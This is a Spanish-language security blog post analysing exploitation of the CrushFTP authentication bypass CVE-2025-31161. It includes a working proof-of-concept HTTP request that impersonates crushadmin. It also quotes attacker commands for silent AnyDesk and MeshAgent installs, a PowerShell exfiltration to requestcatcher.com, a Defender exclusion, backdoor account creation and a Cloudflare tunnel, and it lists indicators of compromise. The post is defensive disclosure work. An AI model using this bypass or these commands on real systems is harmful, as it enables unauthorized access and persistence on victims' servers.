Omisión de autenticación y post-explotación de CVE-2025-31161 en CrushFTP

ACTUALIZADO 08/04/2025 @ 3:00 p. m. hora del Este

Resumen: CVE-2025-31161 es una vulnerabilidad de severidad crítica que permite a los atacantes controlar cómo se maneja la autenticación de usuarios en el software de transferencia de archivos administrada (MFT) CrushFTP. Recomendamos encarecidamente aplicar el parche de inmediato para evitar las versiones afectadas 10.0.0 a 10.8.3 y 11.0.0 a 11.3.0. La explotación exitosa de CVE-2025-31161 le daría a los atacantes acceso de nivel administrador en toda la aplicación CrushFTP para seguir comprometiéndola. Este blog describe nuestra prueba de concepto recreada para CVE-2025-31161 y el uso que hacen los atacantes de herramientas RMM tanto legítimas como maliciosas para actividades posteriores a la explotación.

Seguiremos actualizando esta publicación con nuevos hallazgos.

  • Actualización n.º 1 - 07/04/2025 @3:00 p. m. hora del Este - Actualizado para reflejar actividad posterior a la explotación recién detectada

Nota: Un identificador de CVE anterior para CrushFTP se publicó como CVE-2025-2825 el 26 de marzo. Antes de la publicación de este artículo el 3 de abril, la entrada de la National Vulnerability Database del NIST para CVE-2025-2825 se actualizó para reflejar que el CVE fue rechazado, y que es un duplicado de reserva de CVE-2025-31161.


Agradecimiento especial a Tim Kasper, Faith Stratton, Jose Oregon, Matt Anderson, Craig Sweeney, Jamie Dumas, Alden Schmidt, Lindsey Welch, Harlan Carvey, Jamie Levy y John Hammond por sus contribuciones y apoyo a este análisis.


El 3 de abril de 2025, Huntress observó explotación activa de CVE-2025-31161, una vulnerabilidad de omisión de autenticación en versiones del software CrushFTP. Descubrimos más actividad posterior a la explotación que aprovechaba el agente MeshCentral y otro malware, que analizaremos en este artículo. Mientras realizábamos un análisis más profundo, descubrimos posible evidencia de compromiso desde el 30 de marzo de 2025, que parecía estar probando el acceso y no generó ningún proceso externo hacia CrushFTP.

En una publicación reciente del equipo de ShadowServer, indican que, al 30 de marzo, había ~1.500 instancias vulnerables de CrushFTP expuestas públicamente a internet.

Figura 1: Tuit de Shadowserver Foundation del 31 de marzo de 2025

¿Qué es CVE-2025-31161?

CVE-2025-31161 es una vulnerabilidad de severidad crítica con una puntuación 9,8 CVSS que afecta la forma en que la aplicación de transferencia de archivos CrushFTP maneja la autenticación de usuarios. Al momento de escribir esto, la entrada de la NVD del NIST describe lo siguiente:

Las versiones de CrushFTP 10.0.0 a 10.8.3 y 11.0.0 a 11.3.0 se ven afectadas por una vulnerabilidad en el procesamiento del encabezado de autorización S3 que permite la omisión de autenticación. Las solicitudes HTTP remotas y no autenticadas a CrushFTP con nombres de usuario conocidos pueden usarse para suplantar a un usuario y realizar acciones en su nombre, incluidas acciones administrativas y la recuperación de datos.

Esta vulnerabilidad ya tiene parche y se mitiga en las versiones 11.3.1+ y 10.8.4+ de CrushFTP. Huntress validó y confirmó que la omisión de autenticación se previene en las versiones parcheadas.

Asegúrate de que tus propias instalaciones de CrushFTP estén actualizadas a las últimas versiones. Si tu instancia de CrushFTP está expuesta públicamente a internet, te recomendamos encarecidamente que apliques el parche de inmediato.

Tras una explotación exitosa, un adversario podría obtener acceso a la cuenta de usuario administrador de la aplicación CrushFTP, y aprovechar esto para crear nuevas cuentas de puerta trasera, acceder a archivos (subir y descargar), lograr ejecución de código y obtener control total del servidor vulnerable.

A la vulnerabilidad se le asignó un CVE el 26 de marzo, y la Shadowserver Foundation reportó por primera vez actividad de explotación de CVE-2025-31161 el 31 de marzo. La explotación de CVE-2025-31161 es indicativa de una tendencia preocupante que hemos visto en varios incidentes, en donde los actores de amenazas apuntan a plataformas MFT como una forma de llevar a cabo ataques disruptivos. Estas plataformas suelen estar expuestas externamente y albergan datos empresariales sensibles, lo que las convierte en un blanco favorito para los actores de amenazas. Por eso, aplicar el parche de inmediato es fundamental. Dentro de nuestra base de socios, hemos visto 148 endpoints únicos con el software CrushFTP instalado como servicio, de los cuales 95 ejecutan las versiones principales 10 y 11. Aproximadamente 72 empresas distintas dentro de nuestra base de clientes estaban ejecutando versiones sin parche de CrushFTP. Se notificó a los clientes sobre la urgencia de actualizar.

Numerosas otras empresas de seguridad han hablado sobre CVE-2025-31161 (gracias a Rapid7 AttackerKB y Outpost24, entre otros), y gracias a sus análisis compartidos, Huntress pudo recrear fácilmente una prueba de concepto (PoC). El núcleo de esta vulnerabilidad es la funcionalidad de autenticación S3 incluida como parte de CrushFTP. Debido a errores de lógica en el código fuente subyacente (que Project Discovery explicó excelentemente), basta un simple encabezado Authorization en una solicitud HTTP para omitir la autenticación sin credenciales válidas de usuario o contraseña.

Prueba de concepto

Dado que los detalles técnicos de la prueba de concepto ya son públicos y están disponibles, no tenemos reparo en analizar el funcionamiento interno de nuestra prueba de concepto recreada.

Como ya mencionamos, todo se reduce a una sola solicitud HTTP:

GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Cookie: CrushAuth=1111111111_111111111111111111111111111111111

Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Connection: close

Aunque este es un ejemplo sencillo que solo lista a los usuarios en la instancia de CrushFTP, demuestra los componentes clave:

  • Se puede acceder a las funciones backend y realizar cualquier acción administrativa
  • Se debe proporcionar una única cookie, CrushAuth
    • No es necesario que sea una cookie CrushAuth válida. El artículo de Project Discovery explica la estructura típica de este valor, pero hemos visto éxito con solo una cadena de ~31 caracteres alfanuméricos.
    • El parámetro HTTP c2f debe coincidir con los últimos 4 valores de la cookie CrushAuth.
  • El encabezado Authorization depende del prefijo de cadena específico AWS4-HMAC-SHA256, y el campo Credential puede configurarse con cualquier nombre de cuenta de usuario válido de CrushFTP que no incluya una virgulilla (~), seguido de una barra diagonal (/).
    • Lo más común es ver el nombre de usuario crushadmin, ya que es el administrador predeterminado típico de los servidores CrushFTP.

En las pruebas, observamos que la cookie CrushAuth aún debe ser "conocida" por la instancia de CrushFTP, por lo que puede ser necesaria una segunda solicitud HTTP si se falsifica un valor aleatorio o inválido.

Esta pequeña prueba de concepto solo demuestra la omisión de autenticación basada en la web… el adversario podría ampliar las acciones y la explotación posterior. En las siguientes secciones, analizaremos las tácticas y la actividad posterior a la explotación que usan los actores de amenazas que aprovechan esta vulnerabilidad en entornos reales.

Observaciones de Huntress

En toda nuestra base de socios de Huntress, el software CrushFTP suele instalarse en su propio directorio de programa, generalmente ubicado en la raíz de un volumen (es decir, C:\CrushFTP10 o C:\CrushFTP11, pero también se ha visto en D:\, E:\, u otras letras de unidad).

Dentro de este directorio hay un archivo CrushFTP.log, que incluye información valiosa. En nuestras pruebas, usamos la versión 10.5.1_12 de CrushFTP. Hemos comprobado que el archivo CrushFTP.log es la fuente más confiable para determinar el número de versión completo en ejecución de la instalación de CrushFTP. Como ejemplo, puedes ver una entrada de registro como la siguiente:

SERVER|<TIMESTAMP>|Server Memory Stats: <......> :Version 10.5.1_12

Si no estás seguro de qué versión de instalación de CrushFTP estás ejecutando, asegúrate de revisar este archivo. Además, puedes revisarlo en busca de señales de explotación con algunos de los indicadores que hemos observado a continuación. Estas son las pocas líneas de registro que observamos al probar la omisión de autenticación recreada mencionada anteriormente:

ACCEPT|<TIMESTAMP>|[HTTP:1_<EPHEMERAL-PORT>:lookup:8080] Accepting connection from:
<ATTACKER-IP-ADDRESS>:<EPHEMERAL-PORT>
POST|<TIMESTAMP>|[HTTP:1
_<EPHEMERAL-PORT>:crushadmin:<ATTACKER-IP-ADDRESS>] WROTE: *HTTP/1.1 200 OK*

Ten en cuenta que esto es solo una prueba de omisión de autenticación para actuar como el usuario crushadmin; la explotación posterior puede verse muy diferente. Hay matices en cuanto a qué artefactos se pueden encontrar en los registros, dependiendo de las solicitudes realizadas; si ves actividad que incluya la cadena AWS4-HMAC-SHA256 Credential=crushadmin/, asegúrate de revisar los alrededores de la entrada para confirmar que no haya referencia a un valor de cookie currentAuth. La cookie currentAuth se incluye en sesiones de inicio de sesión legítimas y no se usa en la técnica de omisión de autenticación.

Además, hemos visto archivos de registro presentes en el directorio \logs\session_logs que pueden incluir más detalles para tu propio análisis si crees que podrías haber sido comprometido.

Aquí hay un caso donde el actor de amenazas creó una nueva cuenta de administrador para usarla como puerta trasera persistente:

Hay algunas cosas que vale la pena señalar en el extracto de registro anterior:

  1. Observa las primeras dos líneas, que coinciden con el patrón de nuestros artefactos de PoC recreados, y la dirección IP del adversario observada, 172.235.144[.]67.
  2. Aprovechan la función setUserItem para crear un nuevo usuario con propiedades específicas. En este caso, el nombre de la cuenta de puerta trasera es Eaion6Mz.
  3. Cambian la contraseña del nuevo usuario, probablemente para poder iniciar sesión con ella más tarde.
  4. Un truco interesante: configuran el last_login del nuevo usuario como 06/08/2023 03:04:22 p. m. en un esfuerzo por ocultar la cuenta y hacer que parezca que se usó por última vez hace años.

En otro endpoint afectado, observamos que el actor de amenazas subió y preparó el agente MeshCentral para aprovecharlo en acceso remoto continuo, persistencia y más actividad posterior a la explotación. Otros incidentes aprovecharon AnyDesk, y uno incluyó malware más personalizado.

Analizaremos esto con más detalle en las siguientes secciones.

Huntress ha visto explotación de CVE-2025-31161 en cinco endpoints distintos de cinco empresas diferentes. Tres de estas empresas eran alojadas por el mismo MSP. Los tipos de empresas afectadas abarcaron desde marketing, retail y semiconductores. Aunque solo se vio afectada una pequeña cantidad de nuestros clientes, se sabe que hay 130.000 instancias vulnerables que permanecen abiertas y expuestas a internet fuera de nuestro alcance. Por lo tanto, el verdadero impacto de esta vulnerabilidad aún está por determinarse.

Actividad posterior a la explotación con AnyDesk

En un endpoint, Huntress observó a un actor de amenazas instalando una instancia maliciosa de AnyDesk RMM después de la explotación, antes de pasar a extraer los registros SAM y System en un esfuerzo por recolectar credenciales.

El endpoint parecía estar ejecutando una versión vulnerable de CrushFTP; los actores de amenazas usaron CrushFTPService.exe para luego instalar AnyDesk. Se observaron los siguientes comandos preparando el terreno para la instalación de AnyDesk:

cmd.exe /c "C:\windows\temp\msiinstall.exe --install "C:\windows\temp\Anydesk" --silent"

cmd.exe /c "echo licence_key123 | "C:\windows\temp\Anydesk\AnyDesk.exe" --register-licence"

cmd.exe /c "echo Anydesk@123 | "C:\windows\temp\Anydesk\AnyDesk.exe" --set-password"

Figura 2: Detección de proceso para AnyDesk generado desde CrushFTPService.exe


Figura 3: Detección de proceso para el volcado de credenciales con reg.exe

Actividad posterior a la explotación con MeshAgent

En algunos endpoints, se observó al actor de amenazas desplegando MeshAgent como parte de la actividad posterior a la explotación. MeshAgent es proporcionado por la plataforma legítima de monitoreo remoto de código abierto MeshCentral, y ya ha sido usada anteriormente por actores de amenazas para diversas funcionalidades de acceso remoto, como el envío de comandos, el mantenimiento de persistencia y más. Se observaron los siguientes comandos preparando la instalación del agente de MeshCentral:

Del registro de CrushFTP de un endpoint:

Accepting connection from: 2.58.56.16:50860
READ: *POST /WebInterface/function/ HTTP/1.1*
READ: *User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0)
Gecko/20100101 Firefox/136.0*
READ: *Content-Length: 783*
READ: *Cookie: CrushAuth=1743696851505_BooTB7cPKiinnZ4UBM7Jr819zyodaJ; currentAuth=odaJ*
READ: *Priority: u=0* READ: *command:openFile*
READ: *upload_path:/Windows/Temp/mesch.exe*
READ: *upload_size:3480944* READ: *upload_id:cisqUUw66Yte*
READ: *start_resume_loc:0* READ: *c2f:odaJ*
WROTE: *150 Opening BINARY data connection. Ready to write file /Windows/Temp/mesch.exe. S T O R*
WROTE: *HTTP/1.1 200 OK*
...
READ: *POST /WebInterface/function/ HTTP/1.1*
READ: *User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0*
READ: *Content-Length: 904* READ: *Cookie: CrushAuth=1743696851505_BooTB7cPKiinnZ4UBM7Jr819zyodaJ; currentAuth=odaJ*
READ: *command:closeFile*
READ: *upload_id:cisqUUw66Yte*
READ: *total_chunks:6* READ: *total_bytes:3480944*
READ: *filePath:/Windows/Temp/mesch.exe*
READ: *lastModified:1743685342000*
READ: *c2f:odaJ*
WROTE: *226-Upload File Size:3480944 bytes @ 1699K/sec. MD5=114c196c39c91575880a5012d06565b1*
WROTE: *226 Transfer complete. MD5=114c196c39c91575880a5012d06565b1 ("/Windows/Temp/mesch.exe" 3480944) STOR*
WROTE: *HTTP/1.1 200 OK*
WROTE: *Content-Length: 138*
WROTE: **
WROTE: *<?xml version="1.0" encoding="UTF-8"?> <commandResult><response></response><md5>114c196c39c91575880a5012d06565b1</md5></commandResult>* WROTE: *HTTP/1.1 200 OK*

Nota el uso incluido de una cookie currentAuth aquí; esto indica que el adversario había aprovechado CVE-2025-31161 para omitir la autenticación, pero luego usó su acceso para iniciar sesión con una sesión legítima.

Una vez que el archivo estuvo en el endpoint, se observaron los siguientes comandos a través de la telemetría de EDR:

C:\Windows\Temp\mesch.exe run

C:\Windows\Temp\mesch.exe b64exec cmVxdWlyZSgnd2luLWNvbnNvbGUnKS5oaWRlKCk7cmVxdWlyZSgnd2luLWRpc3BhdGNoZXInKS5jb25uZWN0KCczNjg3Jyk7

C:\Windows\Temp\mesch.exe -fullinstall

La cadena base64 en el segundo comando se decodifica como:

require('win-console').hide();require('win-dispatcher').connect('3530');

En otros endpoints detectados, la instalación posterior a la explotación de MeshAgent fue idéntica a la anterior, pero en otro endpoint, la cadena base64 se decodificó como:

require('win-console').hide();require('win-dispatcher').connect('4204');

Poco después de desplegar MeshAgent, se abrió una ventana de consola (ver arriba), que luego añadió un usuario sin privilegios de administrador (CrushUser) al grupo de administradores locales:

Figura 4: Señales que muestran actividades posteriores a la explotación

Análisis de malware de bot de Telegram

Dentro del archivo CrushFTP.log de este endpoint afectado (nota el comando STOR para subir la DLL maliciosa):

READ: *POST /WebInterface/function/ HTTP/1.1*
READ: *User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0)
Gecko/20100101 Firefox/136.0*
READ: *Content-Length: 904*
READ: *Cookie: CrushAuth=1743696851505_BooTB7cPKiinnZ4UBM7Jr819zyodaJ; currentAuth=odaJ*
READ: *command:closeFile*
READ: *upload_id:SE13PFVmTlq0*
READ: *total_chunks:6*
READ: *total_bytes:4358656*
READ: *filePath:/Windows/Temp/d3d11.dll*
READ: *lastModified:1743586788000*
READ: *c2f:odaJ*
WROTE: *226-Upload File Size:4358656 bytes @ 2128K/sec. MD5=1ab5a915e306686a1c7bebd03563a977* WROTE: *226 Transfer complete. MD5=1ab5a915e306686a1c7bebd03563a977 ("/Windows/Temp/d3d11.dll" 4358656) STOR*

Después de la instalación de MeshAgent, se extrajo otra DLL al endpoint. Aunque no observamos la ejecución de esta DLL, podemos obtener información de alto nivel a partir de ella. Es un gran binario en C++ que implementa la biblioteca de código abierto TgBot. Lamentablemente, por ahora no pudimos recuperar el token de autenticación del Bot usado por esta muestra en particular, ya que probablemente se almacena en un archivo de configuración externo.

Figura 5: Clases C++ en la DLL

Además de que la muestra no estaba despojada de símbolos, también incluía información PDB, que es un pivote útil para encontrar más muestras asociadas:

Figura 6: Información PDB

Esto nos permitió encontrar 3 DLLs más que probablemente fueron escritas por el mismo autor, todas las cuales se subieron a VirusTotal en la última semana.

  • 85a1bfebf2a5973ebecd6e5a58c8fab18edfead2c1680ec1e9cce902924c347e
  • f7c8be827f3bd98b30c5a8d23c1af77f3d0324a9ebcd90104134fc1971751ff7
  • be6cb5f80b33b9e97622d278a86a99e67b78ccab0b3e554b8430ae5969bcfc0e

Si bien aún no está claro el verdadero propósito de esta muestra, es probable que los actores de amenazas estén usando un bot de Telegram para recolectar telemetría de los endpoints infectados. Este análisis se actualizará a medida que haya más información disponible.

Actualización n.º 1 - 07/04/2025 @3:00 p. m. hora del Este: Actividad posterior a la explotación con SimpleHelp RMM

Después de detectar por primera vez la explotación activa el 3 de abril, seguimos viendo a actores de amenazas apuntando a la falla de CrushFTP. El 7 de abril, se observó a un actor de amenazas explotando una instancia vulnerable de CrushFTP (versión 10) para instalar SimpleHelp RMM en un endpoint como mecanismo de persistencia.


Figura 7: Las actividades posteriores a la explotación del actor de amenazas, vistas en los registros de CrushFTP del endpoint y en la telemetría de EDR

Como se ve en la Figura 7 anterior: después de obtener acceso inicial y pasar a enumerar grupos en el endpoint a través de un webhook (powershell Invoke-WebRequest -Uri https://1212.requestcatcher.com/ -Method POST -Body @(whoami /groups)), el actor de amenazas intentó ejecutar dos ejecutables de SimpleHelp desde C:\Windows\ como se describe en los siguientes comandos.

C:\windows\storm.exe /S

c:\Windows\mx.exe /S

Cuando se subió mx.exe, Defender puso inicialmente el ejecutable en cuarentena. El actor de amenazas entonces hizo varios intentos de añadir el directorio a la lista de exclusiones de Defender antes de volver a subir mx.exe, en un intento de evasión de defensas que ya hemos descrito anteriormente. Lo vemos a través del siguiente comando:

powershell -exec bypass -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAYwA6AFwAdwBpAG4AZABvAHcAcwAiAA==

La cadena base64 en el comando anterior se decodifica como:

Add-MpPreference -ExclusionPath "c:\windows"

Además, se observó al actor de amenazas tomando otras medidas, incluyendo la creación de una nueva cuenta de usuario vmadmin (mediante el comando net user):

net user vmadmin Pwd@2022!@# /add /domain

"cmd.exe" /C net user vmadmin Pwd@2022!@# /add /domain > \Windows\Temp\tsnbqk 2>&1

Finalmente, el actor de amenazas instaló un Cloudflare Tunnel para preparar el acceso persistente:

C:\Windows\system32\servicehost.exe tunnel run --token REDACTED

Cabe destacar que se vieron dos direcciones IP diferentes en los registros de CrushFTP, incluyendo 146.70.166[.]201, usada para subir storm.exe, y 143.244.47[.]67, para eliminar storm.exe y luego para subir mx.exe.

¿Qué está haciendo Huntress?

Las reglas de detección de Huntress ya cubren a fondo los esfuerzos posteriores a la explotación. En respuesta específicamente a estas intrusiones, creamos detectores para encontrar procesos secundarios invocados debajo del ejecutable del servicio CrushFTP:

Para los miembros de la comunidad que aún no están protegidos con Huntress, hay dos reglas de Sigma disponibles en el repositorio público de SigmaHQ para:

  1. Detectar “Remote Access Tool - MeshAgent Command Execution via MeshCentral”
  2. Detectar “Remote Access Tool - AnyDesk Silent Installation”

Si crees que podrías estar afectado, aprovecha nuestra prueba gratuita para descubrir rápidamente cualquier cosa sospechosa que haya quedado atrás.

Indicadores de compromiso (IOC)

IndicadorPrimera observaciónDescripción
172.235.144[.]672025-04-03Dirección IP del atacante
2.58.56[.]162025-04-03Dirección IP del atacante
Eaion6Mz2025-04-03Nombre de cuenta de puerta trasera
C:\Windows\Temp\d3d11.dll

be6cb5f80b33b9e97622d278a86a99e67b78ccab0b3e554b8430ae5969bcfc0e
2025-04-03DLL de TgBot
C:\Windows\Temp\mesch.exe

9036c92c3ca73cb6ec2da25035322554319288fd2f6db906413011873ad7e281
2025-04-03Binario instalador de MeshAgent
143.244.47[.]672025-04-07Dirección IP del atacante
146.70.166[.]2012025-04-07Dirección IP del atacante
c:\Windows\storm.exe

ee6d24410a8cf31d672d2a47466b76ad287c7ba016d3711490f0f607b1dc0be3

2025-04-07Instalador modificado de SimpleHelp
c:\Windows\mx.exe

0b8e76eb315bc522af3cec74749a85e8f55cfed720976892d6610cfc89d84f69

2025-04-07Instalador modificado de SimpleHelp
vmadmin2025-04-07Nombre de cuenta de puerta trasera
Pwd@2022!@#2025-04-07Contraseña de cuenta de puerta trasera

Referencias


En las noticias

También te podría interesar